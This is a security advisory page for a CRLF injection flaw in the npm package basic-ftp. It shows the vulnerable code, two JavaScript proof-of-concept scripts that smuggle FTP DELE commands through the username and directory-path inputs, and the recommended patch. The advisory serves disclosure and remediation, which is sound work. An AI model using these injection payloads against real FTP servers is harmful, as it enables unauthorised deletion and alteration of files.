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OSV ecosystem advisory

GHSA-6v7q-wjvx-w8wg: basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

HighCVSS 8.2 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 32/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: basic-ftp (npm) 5.2.2.

Low priority for now. Upgrade to basic-ftp (npm) 5.2.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection. ## Details ### Vector 1: Credential Injection (login) The `login()` method constructs FTP commands by direct string concatenation with no CRLF validation: ```typescript // src/Client.ts:216-231 login(user = "anonymous", password = "guest"): Promise<FTPResponse> { this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // Line 218: no validation on `user` // ... else if (res.code === 331) { this.ftp.send("PASS " + password) // Line 226: no validation on `password` } }) } ``` `FtpContext.send()` writes directly to the TCP socket: ```typescript // src/FtpContext.ts:223-227 send(command: string) { // ... this._socket.write(command + "\r\n", this.encoding) } ``` The `protectWhitespace()` method (line 762) rejects `\r`, `\n`, and `\0` characters — but it is only called for path-based operations. Credentials never pass through it. The public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization. ### Vector 2: MKD TOCTOU Bypass (_openDir) The `_openDir()` method sends an MKD command before the CRLF check in `cd()`: ```typescript // src/Client.ts:745-748 protected async _openDir(dirName: string) { await this.sendIgnoringError("MKD " + dirName) // Line 746: sent BEFORE validation await this.cd(dirName) // Line 747: protectWhitespace() called here — too late } ``` This is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem. ## PoC ### Vector 1: Credential Injection ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; // Connect to target FTP server await client.access({ host: "target-ftp-server", port: 21, // Username contains CRLF + injected DELE command user: "anonymous\r\nDELE important.txt", password: "guest" }); // Server receives on the wire: // USER anonymous\r\n // DELE important.txt\r\n // PASS guest\r\n // The DELE command executes before PASS is processed client.close(); } exploit(); ``` ### Vector 2: MKD TOCTOU Bypass ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; await client.access({ host: "target-ftp-server", user: "anonymous", password: "guest" }); // Path fragment with CRLF — MKD is sent before cd() validates try { await client.ensureDir("test\r\nDELE important.txt/subdir"); } catch (e) { // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent } // Server received: // MKD test\r\n // DELE important.txt\r\n // CWD test\r\n <-- this may fail, but damage is done client.close(); } exploit(); ``` ## Impact An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables: - **File deletion**: Inject `DELE` commands to remove files on the FTP server - **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories - **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions - **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake. Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable. ## Recommended Fix Add CRLF validation to both code paths: **1. Validate credentials in `login()`:** ```typescript // src/Client.ts:216 login(user = "anonymous", password = "guest"): Promise<FTPResponse> { if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) { return Promise.reject(new Error("Invalid credentials: Contains control characters")); } this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // ... rest unchanged }) } ``` **2. Validate dirName in `_openDir()` before sending MKD:** ```typescript // src/Client.ts:745 protected async _openDir(dirName: string) { if (/[\r\n\0]/.test(dirName)) { throw new Error("Invalid path: Contains control characters"); } await this.sendIgnoringError("MKD " + dirName) await this.cd(dirName) } ``` Alternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.

Published
Apr 10, 2026
Updated
Sep 10, 2026
EPSS
—

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JSON

Action score

32

Monitor

Low priority for now.

CVSS
32 / 40 · 8.2 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

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Affected systems

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VendorProduct
npmbasic-ftp

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npmbasic-ftpbefore 5.2.25.2.2

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:basic-ftp5.2.2Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
high · data or configuration can be modified
Availability
low · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
High
Availability impact
Low

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

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